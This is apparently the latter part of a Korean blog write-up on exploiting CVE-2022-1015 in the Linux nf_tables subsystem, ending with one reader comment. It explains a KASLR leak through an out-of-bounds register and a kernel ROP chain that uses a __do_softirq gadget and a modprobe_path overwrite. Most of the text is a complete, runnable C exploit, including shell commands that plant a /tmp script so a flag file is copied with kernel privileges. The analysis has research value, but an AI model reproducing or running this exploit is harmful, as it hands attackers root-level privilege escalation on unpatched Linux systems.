Linux 커널은 유저 바이너리와 마찬가지로 KASLR 보호기법을 통해 메모리 영역이 랜덤화되어 있습니다. 따라서 커널 ROP 공격을 하기위해서는 먼저 커널 데이터를 유출하여 베이스 주소를 구해야합니다. 데이터 유출은 set_payload expr를 통해 할 수 있습니다. set_payload는 레지스터의 값을 패킷으로 복사하는 동작을 하는 표현식입니다. CVE-2022-1015 취약점으로 인해 공격자는 0xfffffffc 레지스터 번호가 담긴 set_payload 표현식을 추가하여 nft_regs의 범위를 벗어난 메모리의 값을 패킷에 복사할 수 있습니다.

따라서 위 코드로 set_paylaod 표현식을 추가하고 127.0.0.1:1234로 더미 데이터가 포함된 UDP 패킷을 보내면, nf_tables의 패킷 필터링이 동작하면서 nft_regs의 범위를 벗어난 메모리의 값이 UDP 패킷 더미 데이터를 덮어쓰게 됩니다. 공격자는 해당 UDP 패킷을 수신하고 더미 데이터 영역을 읽어 커널 데이터를 가져올 수 있습니다.

해당 rule을 적용시키고, nft_payload_set_eval->skb_store_bits->memcpy(skb_copy_to_linear_data_offset)에 Breakpoint를 걸어 디버깅을 해보면 범위를 벗어난 Stack 데이터를 UDP 패킷에 담긴 더미데이터 "a"*512 부분에 복사하고 있는 것을 확인할 수 있습니다. 패킷을 루프백 아이피로 보냈으므로, 이를 다시 수신하여 더미데이터에서 유출된 Stack 데이터에서 커널 코드 영역 주소를 읽으면 커널의 베이스 주소를 성공적으로 구할 수 있습니다.

5-3. Kernel ROP

    proto = IPPROTO_UDP;
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
            offsetof(struct iphdr, protocol), sizeof(uint8_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

    dport = htons(8080);
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
            offsetof(struct tcphdr, dest), sizeof(uint16_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));

    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xffffffc8,0x8,0xf0);

payload expr는 패킷의 데이터를 레지스터로 복사하는 역할을 수행합니다. 이를 이용하면 커널 ROP를 통해 제어 흐름을 조작할 수 있습니다. 위와 같이 payload 표현식을 추가하고 ROP 페이로드가 담긴 UDP 패킷을 127.0.0.1:8080으로 보내면 범위를 벗어난 스택에 ROP 페이로드를 복사할 수 있습니다. 이때, 커널 데이터 유출에 사용될 패킷과 구분하기 위해 필터링할 포트 값을 다른 규칙(Rule)을 추가해야 합니다.


마찬가지로, nft_payload_eval->skb_copy_bits->memcpy(skb_copy_to_linear_data_offset)에 Breakpoint를 걸어 패킷에 담긴 데이터가 스택에 복사되는 것을 확인할 수 있습니다. 커널 ROP는 일반적으로 페이로드가 크고 Stack Pivot을 활용하기 까다롭기 때문에, payload expr를 추가할때 len 값을 최대한으로 해주는 것이 좋습니다. 적절한 len 값을 포함한 payload expr를 성공적으로 추가했다면, ROP 페이로드를 UDP 패킷에 담아 전송하는 것으로 스택에 Return Address를 조작할 수 있습니다.

이때, 커널 ROP로 권한 상승 공격을 한 후 유저 레벨로 돌아오는 방법은 두 가지가 있습니다.

  • __do_softirq : __do_softirq 가젯을 이용하여 softirq context를 탈출합니다.
  • swapgs : swapgs_restore_regs_and_return_to_usermode를 통해 강제로 유저레벨로 리턴합니다.

nf_tables는 softirq 상에서 동작합니다. 따라서 일반적인 커널 드라이버에 대한 익스플로잇과 달리 유저레벨로 돌아오는 과정에서 커널 패닉이 발생할 수 있습니다. 그렇기 때문에 __do_softirq같은 가젯을 이용해서 적절히 softirq context 탈출해야 합니다. 하지만 이와 같은 방법은 꽤 복잡하고 상황에 따라 불가능할 수도 있기에, swapgs를 이용하여 커널 패닉을 감수하고 강제로 task를 탈출하는 방법 역시 존재합니다. 이 경우 정상적으로 유저 레벨로 복귀하지 못하기 때문에 Segmentation Fault가 발생하고 익스플로잇 프로세스가 종료되지만, modprobe_path를 덮는 익스플로잇 방법을 이용한다면 성공적으로 권한 상승 공격을 할 수 있습니다.

swapgs_restore_regs_and_return_to_usermode을 이용하는 방법은 높은 확률로 커널 패닉을 발생시키기 때문에 익스플로잇 성공 확률이 불안정합니다. 또한 해당 방법은 대부분의 커널 ROP에서 사용되고 많은 레퍼런스가 있기 때문에 이 글에서는 __do_softirq 가젯을 이용하는 ROP 방법에 대해서 서술합니다.

5-3-1. __do_softirq Gadget

__do_softirq를 통해 softirq context를 탈출하고 유저 레벨로 돌아오는 과정을 이해하기 위해서는 Linux의 관련 코드를 자세히 분석해야하기 때문에 이 글에서는 __do_softirq를 softirq context를 탈출하기 위한 목적의 가젯으로 이용하는 방법을 중심으로 설명하겠습니다.

다음은 nft_payload_eval->skb_copy_bits->memcpy(skb_copy_to_linear_data_offset)에 Breakpoint를 걸어 공격자가 보낸 ROP 페이로드가 스택의 어느부분을 덮어쓰는지를 확인한 것입니다. 해당 디버깅 결과를 통해 공격자의 페이로드가 0xffffc90000003f00~0xffffc90000003ff0 주소에 복사되며, Return Address인 0xffffffff8189aac5 (__napi_poll+37) 값이 덮여쓰여져 RIP를 조작되는 것을 확인할 수 있습니다. __do_softirq 가젯을 이용해 softirq context를 탈출하는 원리를 간단히 설명하자면, ROP 마지막에 +0xf0 메모리에 존재하는 Return Address인 0xffffffff8106744e (do_softirq+78)로 돌아가서 정상적인 softirq 흐름을 이어주는 것입니다. 해당 환경에서는 (do_softirq+78)이지만, 커널 버전 및 컴파일 과정에 따라서 (do_softirq+??)가 될 수 있습니다. 중요한 점은 ROP를 통해 권한 상승 흐름을 수행한 후 add rsp 가젯 또는 ret 가젯을 이어붙여 0xffffffff8106744e (do_softirq+78)에 도달해야 한다는 것입니다.

당연히 RIP를 조작한 시점에서 ROP를 수행하고 즉시 (do_softirq+78)로 돌아가는 것은 정상적인 흐름이 아니기 때문에 RIP를 조작한 직후 cli; ret 가젯을 실행하고 __do_softirq 함수의 특정 부분으로 리턴해야합니다. 이후 __do_softirq 함수내에서 ret가 실행되어 제어 흐름이 돌아왔을때, 권한 상승 ROP를 수행하고 0xffffffff8106744e (do_softirq+78)에 도달해야 합니다.

   0xffffffff81e0015d <__do_softirq+349>:       add    DWORD PTR gs:[rip+0x7e216b58],0xffffff00        # 0x16cc0 <__preempt_count>
   0xffffffff81e00168 <__do_softirq+360>:       mov    eax,DWORD PTR gs:[rip+0x7e216b51]        # 0x16cc0 <__preempt_count>
   0xffffffff81e0016f <__do_softirq+367>:       test   eax,0xffff00
   0xffffffff81e00174 <__do_softirq+372>:       jne    0xffffffff81e0022d <__do_softirq+557>
   0xffffffff81e0017a <__do_softirq+378>:       mov    edx,DWORD PTR [rsp+0x1c]
   0xffffffff81e0017e <__do_softirq+382>:       mov    rax,QWORD PTR gs:0x16d00
   0xffffffff81e00187 <__do_softirq+391>:       and    edx,0x800
   0xffffffff81e0018d <__do_softirq+397>:       and    DWORD PTR [rax+0x2c],0xfffff7ff
   0xffffffff81e00194 <__do_softirq+404>:       or     DWORD PTR [rax+0x2c],edx
   0xffffffff81e00197 <__do_softirq+407>:       add    rsp,0x20
   0xffffffff81e0019b <__do_softirq+411>:       pop    rbx
   0xffffffff81e0019c <__do_softirq+412>:       pop    rbp
   0xffffffff81e0019d <__do_softirq+413>:       pop    r12
   0xffffffff81e0019f <__do_softirq+415>:       pop    r13
   0xffffffff81e001a1 <__do_softirq+417>:       pop    r14
   0xffffffff81e001a3 <__do_softirq+419>:       pop    r15
   0xffffffff81e001a5 <__do_softirq+421>:       ret    
...
   0xffffffff81e00223 <__do_softirq+547>:       call   0xffffffff810932a0 <wake_up_process>
   0xffffffff81e00228 <__do_softirq+552>:       jmp    0xffffffff81e0015d <__do_softirq+349>
...

여기에서, __do_softirq 함수의 특정 부분은 wake_up_process 함수를 호출하는 코드 바로 다음 부분입니다. 즉, <__do_softirq+552> 또는 해당 코드에서 점프하고 있는 <__do_softirq+349>이 바로 __do_softirq 가젯입니다.

   0xffffffff81e0017a <__do_softirq+378>:       mov    edx,DWORD PTR [rsp+0x1c]
   0xffffffff81e0017e <__do_softirq+382>:       mov    rax,QWORD PTR gs:0x16d00
   0xffffffff81e00187 <__do_softirq+391>:       and    edx,0x800

이때, __do_softirq 함수의 지역 변수인 old_flags를 유지시켜줘야 합니다. 이 old_flags 변수는 어셈블리 코드 상에서 0x800과 and 연산을 하는 부분으로 찾을 수 있습니다. old_flags의 값은 0x40010000이기 때문에 [rsp+0x1c]0x40010000 값을 써서 edx 레지스터에 0x40010000 값이 들어가도록 하면 됩니다. 해당 어셈블리 코드는 커널 버전과 컴파일 과정에 따라 달라져서 rsp가 아닌 rbp를 참조할 수도 있기 때문에 이는 ROP를 통해 적절히 처리해주어야 합니다.

최종적으로 0xffffffff81e001a5 <__do_softirq+421>: ret에 도달하면 다시 ROP로 흐름이 돌아오기 때문에 권한 상승을 수행하면 됩니다. 이후 0xffffffff8106744e (do_softirq+78)에 도달할때까지 add rsp 또는 ret 가젯으로 흐름을 이어주면 되는데, 이때 (do_softirq+78)에 대한 SFP(스택 프레임)를 복구해줘야합니다. 정상적인 SFP 값은 위의 이미지에서 19:00c8 | 0xffffc90000003fc8 —▸ 0xffffc900001c7ba8 —▸ 0xffff888004800000 ◂— 0x1을 통해 확인할 수 있습니다. 즉 (do_softirq+78)로 흐름이 이어지기 직전에 pop rbp 가젯을 이용해서 0xffffc900001c7ba8 값을 rbp 레지스터에 넣어주면 됩니다. 해당 커널 스택 주소는 커널 코드 영역과 마찬가지로 KASLR에 의해 랜덤화되므로 커널 코드 영역의 주소를 유출할때, 커널 스택 주소를 같이 유출하여 스택 베이스에 offset을 더해서 값을 구해야합니다.

    rop_chain[chain_count] = 0xdeadbeef12341234; chain_count++;
    rop_chain[chain_count] = kernel_base + 0xe02052; chain_count++; // cli; ret;

    rop_chain[chain_count] = kernel_base + 0xe0015d; chain_count++; // <__do_softirq+349>
    rop_chain[chain_count] = 0x0; chain_count++;
    rop_chain[chain_count] = 0x0; chain_count++;
    rop_chain[chain_count] = 0x0; chain_count++;
    rop_chain[chain_count] = 0x4001000000000000; chain_count++;
    for(int i=0;i<6;i++){
        rop_chain[chain_count] = 0x0; chain_count++;
    }

    rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
    rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
    rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
    rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
    rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret

    rop_chain[chain_count] = kernel_base + 0x68d; chain_count++; // pop rbp; ret;
    rop_chain[chain_count] = kernel_stack + 0x1c7ba8; chain_count++; // sfp

    for(int i=0;i<10;i++){
        rop_chain[chain_count] = kernel_base + 0x485b69; chain_count++; // ret dummy
    }

최종적으로 ROP 페이로드는 위와 같습니다.

5-3-2. modprobe_path

	rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
    rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
    rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
    rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
    rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret

해당 ROP 페이로드는 권한 상승을 수행하기 위해 modprobe_path 변수를 덮는 동작을 합니다. modprobe_path를 통한 권한 상승 기법은 많이 알려져있기 때문에 간단히 설명하겠습니다. 리눅스 커널은 알 수 없는 형식의 실행 파일이 실행되었을때 modprobe_path 변수를 참조하여 /sbin/modprobe 파일을 실행하는데, modprobe_path를 덮어서 /tmp/?? 등으로 값을 바꾸면, 해당 파일이 커널에 의해 실행되게 됩니다. 이를 이용해 공격자는 임의의 명령어를 실행하는 스크립트 /tmp/??을 생성하고 알 수 없는 형식의 실행 파일을 의도적으로 실행하여 커널 권한으로 명령어를 실행할 수 있습니다.

modprobe_path 변수를 조작하는 방법 이외에도 commit_credsswitch_task_namespaces을 이용하여 namespace를 탈출하고 root 권한을 얻는 방법이 있지만, 해당 환경에서는 알 수 없는 이유로 정상동작하지 않았습니다.

6. Finish

성공적으로 softirq context 탈출하고 유저레벨로 돌아왔다면, 위와 같이 커널 권한으로 임의의 명령어를 실행하는 것이 가능해집니다. 최종 익스플로잇 코드는 아래에 있습니다.

#define _GNU_SOURCE

#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <stdarg.h>
#include <linux/sched.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <netinet/in.h>
#include <stddef.h>    /* for offsetof */
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>

#include <pthread.h>

#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>

#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>

char pkt_message[512] = {0, };
char pkt_buffer[512] = {0, };
int pkt_port = 0;

void hexdump(const void* data, size_t size) {
    unsigned char *p = (unsigned char*)data;
    for (size_t i = 0; i < size; i++) {
        printf("%02X ", p[i]);
        if ((i + 1) % 16 == 0 || i == size - 1) {
            printf("\n");
        }
    }
}

void *sender_thread(void *arg) {
    int client_socket;
    struct sockaddr_in server_addr;
    
    // Create a UDP socket
    if ((client_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }
    
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(pkt_port);
    server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    
    // Send the UDP packet
    sendto(client_socket, pkt_message, 512, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
    
    close(client_socket);
    return NULL;
}

void *receiver_thread(void *arg) {
    int server_socket;
    struct sockaddr_in server_addr, client_addr;
    
    // Create a UDP socket
    if ((server_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }
    
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(pkt_port);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    
    // Bind the socket to the server address
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
        perror("bind");
        exit(1);
    }
    
    socklen_t client_addr_len = sizeof(client_addr);
    
    // Receive the UDP packet
    recvfrom(server_socket, pkt_buffer, 512, 0, (struct sockaddr *)&client_addr, &client_addr_len);
    
    close(server_socket);
    return NULL;
}

void write_to_file(const char *which, const char *format, ...) {
  FILE * fu = fopen(which, "w");
  va_list args;
  va_start(args, format);
  if (vfprintf(fu, format, args) < 0) {
    perror("cannot write");
    exit(1);
  }
  fclose(fu);
}

void init_cpu(void){
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
        perror("[-] sched_setaffinity");
        exit(EXIT_FAILURE);    
    }
}

void init_namespace(void) {
    uid_t uid = getuid();
    gid_t gid = getgid();    

  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    exit(EXIT_FAILURE);    
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    exit(EXIT_FAILURE);    
  }

  write_to_file("/proc/self/uid_map", "0 %d 1", uid);
  write_to_file("/proc/self/setgroups", "deny");
  write_to_file("/proc/self/gid_map", "0 %d 1", gid);

}

void begin_batch(struct mnl_nlmsg_batch *b, int *seq)
{
    nftnl_batch_begin(mnl_nlmsg_batch_current(b), (*seq)++);
    mnl_nlmsg_batch_next(b);
}

void end_batch(struct mnl_nlmsg_batch *b, int *seq)
{
    nftnl_batch_end(mnl_nlmsg_batch_current(b), (*seq)++);
    mnl_nlmsg_batch_next(b);
}

void add_table(struct mnl_nlmsg_batch *b, int *seq, const char* table_name)
{
    struct nftnl_table *t;
    t = nftnl_table_alloc();

    nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
    nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);

    struct nlmsghdr *nlh;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
                                NFT_MSG_NEWTABLE, NFPROTO_IPV4,
                                NLM_F_CREATE | NLM_F_ACK, (*seq)++);
    nftnl_table_nlmsg_build_payload(nlh, t);
    nftnl_table_free(t);

    mnl_nlmsg_batch_next(b);
}

void add_chain(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
    struct nftnl_chain *t;
    t = nftnl_chain_alloc();

    nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
    nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);

    nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN);
    nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0);

    struct nlmsghdr *nlh;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
                                NFT_MSG_NEWCHAIN, NFPROTO_IPV4,
                                NLM_F_CREATE | NLM_F_ACK, (*seq)++);
    nftnl_chain_nlmsg_build_payload(nlh, t);
    nftnl_chain_free(t);

    mnl_nlmsg_batch_next(b);
}

static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
            uint32_t offset, uint32_t len)
{
    struct nftnl_expr *e;

    e = nftnl_expr_alloc("payload");
    if (e == NULL) {
        perror("expr payload oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);

    nftnl_rule_add_expr(r, e);
}

static void add_set_payload(struct nftnl_rule *r, uint32_t base, uint32_t sreg,
            uint32_t offset, uint32_t len)
{
    struct nftnl_expr *e;

    e = nftnl_expr_alloc("payload");
    if (e == NULL) {
        perror("expr payload oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
    nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);

    nftnl_rule_add_expr(r, e);
}

static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
            const void *data, uint32_t data_len)
{
    struct nftnl_expr *e;

    e = nftnl_expr_alloc("cmp");
    if (e == NULL) {
        perror("expr cmp oom");
        exit(EXIT_FAILURE);
    }

    nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, sreg);
    nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
    nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);

    nftnl_rule_add_expr(r, e);
}

void add_rule_leak(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
    struct nftnl_rule *r = NULL;
    uint8_t proto;
    uint16_t dport;
    uint64_t handle_num;

    r = nftnl_rule_alloc();
    if (r == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);

    proto = IPPROTO_UDP;
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
            offsetof(struct iphdr, protocol), sizeof(uint8_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

    dport = htons(1234);
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
            offsetof(struct tcphdr, dest), sizeof(uint16_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));

    add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc,0x20,0x30);

    struct nlmsghdr *nlh;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
                    NFT_MSG_NEWRULE,
                    nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
                    NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
                    (*seq)++);
    nftnl_rule_nlmsg_build_payload(nlh, r);
    nftnl_rule_free(r);

    mnl_nlmsg_batch_next(b);
}

void add_rule_exploit(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
    struct nftnl_rule *r = NULL;
    uint8_t proto;
    uint16_t dport;
    uint64_t handle_num;

    r = nftnl_rule_alloc();
    if (r == NULL) {
        perror("OOM");
        exit(EXIT_FAILURE);
    }

    nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
    nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);

    proto = IPPROTO_UDP;
    add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
            offsetof(struct iphdr, protocol), sizeof(uint8_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));

    dport = htons(8080);
    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
            offsetof(struct tcphdr, dest), sizeof(uint16_t));
    add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));

    add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xffffffc8,0x8,0xf0);

    struct nlmsghdr *nlh;
    nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
                    NFT_MSG_NEWRULE,
                    nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
                    NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
                    (*seq)++);
    nftnl_rule_nlmsg_build_payload(nlh, r);
    nftnl_rule_free(r);

    mnl_nlmsg_batch_next(b);
}

int main(int argc, char *argv[])
{
    printf("[+] exploit process starting\n");

    init_cpu();
    init_namespace();

    struct mnl_socket *nl;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    uint32_t portid, seq;
    struct nftnl_table *t;
    struct mnl_nlmsg_batch *batch;
    int ret, n;
    int check = 0;

    seq = 100;
    batch = mnl_nlmsg_batch_start(buf, sizeof(buf));

    // HERE
    begin_batch(batch, &seq);

    add_table(batch, &seq, "exploit_table");
    check++;

    add_chain(batch, &seq, "exploit_table", "leak_chain");
    check++;

    add_rule_leak(batch, &seq, "exploit_table", "leak_chain");
    check++;

    add_chain(batch, &seq, "exploit_table", "exploit_chain");
    check++;

    add_rule_exploit(batch, &seq, "exploit_table", "exploit_chain");
    check++;

    end_batch(batch, &seq);
    //

    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL)
    {
        perror("mnl_socket_open");
        exit(EXIT_FAILURE);
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
    {
        perror("mnl_socket_bind");
        exit(EXIT_FAILURE);
    }
    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0)
    {
        perror("mnl_socket_send");
        exit(EXIT_FAILURE);
    }

    mnl_nlmsg_batch_stop(batch);

    n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
    while (n > 0)
    {
        const struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
        int len = n;
        
        while (mnl_nlmsg_ok(nlh, len))
        {
            struct nlmsgerr *res;
            res = mnl_nlmsg_get_payload(nlh);
            printf("[+] netlink result %d: %d\n", nlh->nlmsg_seq, res->error);
            nlh = mnl_nlmsg_next(nlh, &len);
            check--;
        }

        if(check == 0) break;
        n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
    }

    mnl_socket_close(nl);
    printf("[+] create nft_tables to leak\n");

    system("ip addr add 127.0.0.1/8 dev lo");
    system("ip link set lo up");

    pthread_t leak_sender, leak_receiver;
    printf("[+] leak_sender -> leak_receiver (udp)\n");
    pkt_port = 1234;
    memset(pkt_message, 'a', 512);
    pthread_create(&leak_sender, NULL, sender_thread, NULL);
    pthread_create(&leak_receiver, NULL, receiver_thread, NULL);

    pthread_join(leak_sender, NULL);
    pthread_join(leak_receiver, NULL);

    unsigned long leak = 0;

    memcpy((char*)&leak,pkt_buffer+0x40,8);
    unsigned long kernel_stack = leak - 0x1bfb48;

    memcpy((char*)&leak,pkt_buffer+0x38,8);
    unsigned long kernel_base = leak - 0x6744e;

    hexdump(pkt_buffer, 48);
    printf("[+] kernel_base = 0x%lx\n", kernel_base);
    printf("[+] kernel_stack = 0x%lx\n", kernel_stack);

    unsigned long rop_chain[30];
    int chain_count = 0;

    rop_chain[chain_count] = 0xdeadbeef12341234; chain_count++;
    rop_chain[chain_count] = kernel_base + 0xe02052; chain_count++; // cli; ret;

    rop_chain[chain_count] = kernel_base + 0xe0015d; chain_count++; // <__do_softirq+349>
    rop_chain[chain_count] = 0x0; chain_count++;
    rop_chain[chain_count] = 0x0; chain_count++;
    rop_chain[chain_count] = 0x0; chain_count++;
    rop_chain[chain_count] = 0x4001000000000000; chain_count++;
    for(int i=0;i<6;i++){
        rop_chain[chain_count] = 0x0; chain_count++;
    }

    rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
    rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
    rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
    rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
    rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret

    rop_chain[chain_count] = kernel_base + 0x68d; chain_count++; // pop rbp; ret;
    rop_chain[chain_count] = kernel_stack + 0x1c7ba8; chain_count++; // sfp

    for(int i=0;i<10;i++){
        rop_chain[chain_count] = kernel_base + 0x485b69; chain_count++; // ret dummy
    }

    printf("[+] create /tmp/moddprobe & /tmp/pwn\n");

    system("echo -e '#!/bin/sh\ncp /flag /tmp/flag\nchmod a+r /tmp/flag' > /tmp/moddprobe");
    system("chmod +x /tmp/moddprobe");
    system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
    system("chmod +x /tmp/pwn");
    
    pthread_t exploit_sender, exploit_receiver;
    pkt_port = 8080;
    memset(pkt_buffer, '\0', 512);
    memset(pkt_message, 'a', 512);
    memcpy(pkt_message, (char*)rop_chain, 0xf0);
    printf("[+] exploit_sender -> exploit_receiver (udp)\n");
    pthread_create(&exploit_sender, NULL, sender_thread, NULL);
    pthread_create(&exploit_receiver, NULL, receiver_thread, NULL);

    pthread_join(exploit_sender, NULL);
    pthread_join(exploit_receiver, NULL);

    return EXIT_SUCCESS;
}

1개의 댓글

comment-user-thumbnail
2023년 10월 16일

:fan:

답글 달기